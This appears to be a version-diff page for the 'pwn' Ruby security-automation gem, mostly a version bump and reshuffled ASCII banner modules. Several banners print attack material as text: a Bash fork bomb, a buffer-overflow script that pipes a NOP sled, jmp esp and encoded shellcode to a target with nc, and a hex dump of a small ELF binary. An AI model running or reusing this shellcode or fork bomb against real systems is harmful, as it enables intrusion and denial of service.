pwn 0.4.979 → 0.4.981

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: d6be3d8ce2ef96735c1b189bda8ecb148da355b2f0ca4c895451549b0c7b15ca
4
- data.tar.gz: 2614c4d5770efe6ae5ed4c83b2d031e0296ddab7103c03c8b6d1335f54addfa0
3
+ metadata.gz: 9eee09a09ee856c56ecab8b41ba29e6af36f910183c5be5bd2e1169d14c7071e
4
+ data.tar.gz: 9031a952b95607a7f994beec8c7a8b2d87ce29b77c0d351f843828527031cacb
5
5
  SHA512:
6
- metadata.gz: e7b7e5a924ec334c7e54599fd353192fc9a3bc96e2d4ddabe324f716900a5add8ff05f8dc571aff900440d3366170ae361b963a7e52f75ddfb6062711f77a400
7
- data.tar.gz: 7cddef4391be9b9d0387fac77a07a89a2cb90c8ee3f0bef9bb8decd4c987eb365fe6dc89167de31b3703c041df8ae65c8d5df3074ef15d7af3f583f0d0ea5be3
6
+ metadata.gz: 515d949bff067cbcb58e9421398e05e3e387629550196491ad91588bb110d434b5eb40254314c9197e2c836298cee7fd422defc105b3752d4791b3bc75c2a5b3
7
+ data.tar.gz: f061757236c30b1be9e19289fec817632279281cf45f1205dcce1e351cb66c6a6c4f709d2250918b4e7ad6ae5d7abd4f3ce76fbd575dad79f2e897e2b7f06d9f
data/README.md CHANGED
@@ -37,7 +37,7 @@ $ cd /opt/pwn
37
37
  $ ./install.sh
38
38
  $ ./install.sh ruby-gem
39
39
  $ pwn
40
- pwn[v0.4.979]:001 >>> PWN.help
40
+ pwn[v0.4.981]:001 >>> PWN.help
41
41
  ```
42
42
 
43
43
  [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
52
52
  $ gem uninstall --all --executables pwn
53
53
  $ gem install --verbose pwn
54
54
  $ pwn
55
- pwn[v0.4.979]:001 >>> PWN.help
55
+ pwn[v0.4.981]:001 >>> PWN.help
56
56
  ```
57
57
 
58
58
  If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
62
62
  $ rvmsudo gem uninstall --all --executables pwn
63
63
  $ rvmsudo gem install --verbose pwn
64
64
  $ pwn
65
- pwn[v0.4.979]:001 >>> PWN.help
65
+ pwn[v0.4.981]:001 >>> PWN.help
66
66
  ```
67
67
 
68
68
  PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`. The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:
@@ -0,0 +1,50 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'colorize'
4
+
5
+ module PWN
6
+ module Banner
7
+ # This plugin processes images into readable text
8
+ module CodeCave
9
+ # Supported Method Parameters::
10
+ # PWN::Banner::CodeCave.get
11
+
12
+ public_class_method def self.get
13
+ '
14
+ 00000000: 7f45 4c46 0101 0100 0000 0000 0000 0000 .ELF............
15
+ 00000010: 0200 0300 0100 0000 208e 0408 3400 0000 ........ ...4...
16
+ 00000020: ac00 0000 0000 0000 3400 2000 0100 2800 ........4. ...(.
17
+ 00000030: 0400 0300 0100 0000 0000 0000 0080 0408 ................
18
+ 00000040: 0080 0408 c000 0000 c000 0000 0500 0000 ................
19
+ 00000050: 0010 0000 0100 0000 0000 0000 0080 0408 ................
20
+ 00000060: 0000 0000 0000 0000 0000 0000 0600 0000 ................
21
+ 00000070: 7077 6e00 0000 0000 0000 0000 0000 0000 pwn.............
22
+ 00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
23
+ 00000090: 0000 0000 0000 0000 0000 0000 0000 0021 ...............!
24
+ 000000a0: b82a 0000 00b9 1d00 0000 baf4 0000 00ba ..*.............
25
+ 000000b0: 9a86 0408 e970 ffff ff31 c040 cd80 0000 ....p...1.@.....
26
+ '.light_black
27
+ rescue StandardError => e
28
+ raise e
29
+ end
30
+
31
+ # Author(s):: 0day Inc. <request.pentest@0dayinc.com>
32
+
33
+ public_class_method def self.authors
34
+ "AUTHOR(S):
35
+ 0day Inc. <request.pentest@0dayinc.com>
36
+ "
37
+ end
38
+
39
+ # Display Usage for this Module
40
+
41
+ public_class_method def self.help
42
+ puts "USAGE:
43
+ #{self}.get
44
+
45
+ #{self}.authors
46
+ "
47
+ end
48
+ end
49
+ end
50
+ end
@@ -5,12 +5,14 @@ require 'colorize'
5
5
  module PWN
6
6
  module Banner
7
7
  # This plugin processes images into readable text
8
- module JmpEsp
8
+ module ForkBomb
9
9
  # Supported Method Parameters::
10
- # PWN::Banner::JmpEsp.get
10
+ # PWN::Banner::ForkBomb.get
11
11
 
12
12
  public_class_method def self.get
13
- '$ pwn() { pwn | pwn & }; pwn'.blue
13
+ '
14
+ $ pwn() { pwn | pwn & }; pwn
15
+ '.blue
14
16
  rescue StandardError => e
15
17
  raise e
16
18
  end
@@ -14,8 +14,8 @@ module PWN
14
14
  #!/bin/bash
15
15
  nop=$(printf \'\x90%.0s\' {1..1337})
16
16
  asm_ops=\'\xff\xe4\'
17
- payload=\'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\xcd\x80\'
18
- pwn="${nop}${asm_ops}${payload}"
17
+ sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
18
+ pwn="${nop}${asm_ops}${sh_code}"
19
19
  echo -en $pwn | nc $TARGET $PORT
20
20
  '.red
21
21
  rescue StandardError => e
data/lib/pwn/banner.rb CHANGED
@@ -8,16 +8,16 @@ module PWN
8
8
  autoload :Anon, 'pwn/banner/anon'
9
9
  autoload :Bubble, 'pwn/banner/bubble'
10
10
  autoload :Cheshire, 'pwn/banner/cheshire'
11
+ autoload :CodeCave, 'pwn/banner/code_cave'
11
12
  autoload :DontPanic, 'pwn/banner/dont_panic'
13
+ autoload :ForkBomb, 'pwn/banner/fork_bomb'
12
14
  autoload :FSociety, 'pwn/banner/f_society'
13
15
  autoload :JmpEsp, 'pwn/banner/jmp_esp'
14
- autoload :ForkBomb, 'pwn/banner/fork_bomb'
15
- autoload :FSociety, 'pwn/banner/jmp_esp'
16
16
  autoload :Matrix, 'pwn/banner/matrix'
17
17
  autoload :Ninja, 'pwn/banner/ninja'
18
18
  autoload :OffTheAir, 'pwn/banner/off_the_air'
19
19
  autoload :Pirate, 'pwn/banner/pirate'
20
- autoload :Pirate, 'pwn/banner/radare2'
20
+ autoload :Radare2, 'pwn/banner/radare2'
21
21
  autoload :WhiteRabbit, 'pwn/banner/white_rabbit'
22
22
 
23
23
  # Supported Method Parameters::
@@ -27,7 +27,7 @@ module PWN
27
27
 
28
28
  public_class_method def self.get(opts = {})
29
29
  index = opts[:index].to_i
30
- index = Random.rand(1..12) unless index.positive?
30
+ index = Random.rand(1..14) unless index.positive?
31
31
 
32
32
  banner = ''
33
33
  case index
@@ -38,24 +38,26 @@ module PWN
38
38
  when 3
39
39
  banner = PWN::Banner::Cheshire.get
40
40
  when 4
41
- banner = PWN::Banner::DontPanic.get
41
+ banner = PWN::Banner::CodeCave.get
42
42
  when 5
43
- banner = PWN::Banner::ForkBomb.get
43
+ banner = PWN::Banner::DontPanic.get
44
44
  when 6
45
- banner = PWN::Banner::FSociety.get
45
+ banner = PWN::Banner::ForkBomb.get
46
46
  when 7
47
- banner = PWN::Banner::JmpEsp.get
47
+ banner = PWN::Banner::FSociety.get
48
48
  when 8
49
- banner = PWN::Banner::Matrix.get
49
+ banner = PWN::Banner::JmpEsp.get
50
50
  when 9
51
- banner = PWN::Banner::Ninja.get
51
+ banner = PWN::Banner::Matrix.get
52
52
  when 10
53
- banner = PWN::Banner::OffTheAir.get
53
+ banner = PWN::Banner::Ninja.get
54
54
  when 11
55
- banner = PWN::Banner::Pirate.get
55
+ banner = PWN::Banner::OffTheAir.get
56
56
  when 12
57
- banner = PWN::Banner::Radare2.get
57
+ banner = PWN::Banner::Pirate.get
58
58
  when 13
59
+ banner = PWN::Banner::Radare2.get
60
+ when 14
59
61
  banner = PWN::Banner::WhiteRabbit.get
60
62
  else
61
63
  raise 'Invalid Index.'
data/lib/pwn/version.rb CHANGED
@@ -1,5 +1,5 @@
1
1
  # frozen_string_literal: true
2
2
 
3
3
  module PWN
4
- VERSION = '0.4.979'
4
+ VERSION = '0.4.981'
5
5
  end
@@ -0,0 +1,20 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'spec_helper'
4
+
5
+ describe PWN::Banner::CodeCave do
6
+ it 'should cointain a method for banner retrieval' do
7
+ get_response = PWN::Banner::CodeCave
8
+ expect(get_response).to respond_to :get
9
+ end
10
+
11
+ it 'should display information for authors' do
12
+ authors_response = PWN::Banner::CodeCave
13
+ expect(authors_response).to respond_to :authors
14
+ end
15
+
16
+ it 'should display information for existing help method' do
17
+ help_response = PWN::Banner::CodeCave
18
+ expect(help_response).to respond_to :help
19
+ end
20
+ end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: pwn
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.4.979
4
+ version: 0.4.981
5
5
  platform: ruby
6
6
  authors:
7
7
  - 0day Inc.
@@ -1706,6 +1706,7 @@ files:
1706
1706
  - lib/pwn/banner/anon.rb
1707
1707
  - lib/pwn/banner/bubble.rb
1708
1708
  - lib/pwn/banner/cheshire.rb
1709
+ - lib/pwn/banner/code_cave.rb
1709
1710
  - lib/pwn/banner/dont_panic.rb
1710
1711
  - lib/pwn/banner/f_society.rb
1711
1712
  - lib/pwn/banner/fork_bomb.rb
@@ -2029,6 +2030,7 @@ files:
2029
2030
  - spec/lib/pwn/banner/anon_spec.rb
2030
2031
  - spec/lib/pwn/banner/bubble_spec.rb
2031
2032
  - spec/lib/pwn/banner/cheshire_spec.rb
2033
+ - spec/lib/pwn/banner/code_cave_spec.rb
2032
2034
  - spec/lib/pwn/banner/dont_panic_spec.rb
2033
2035
  - spec/lib/pwn/banner/f_society_spec.rb
2034
2036
  - spec/lib/pwn/banner/fork_bomb_spec.rb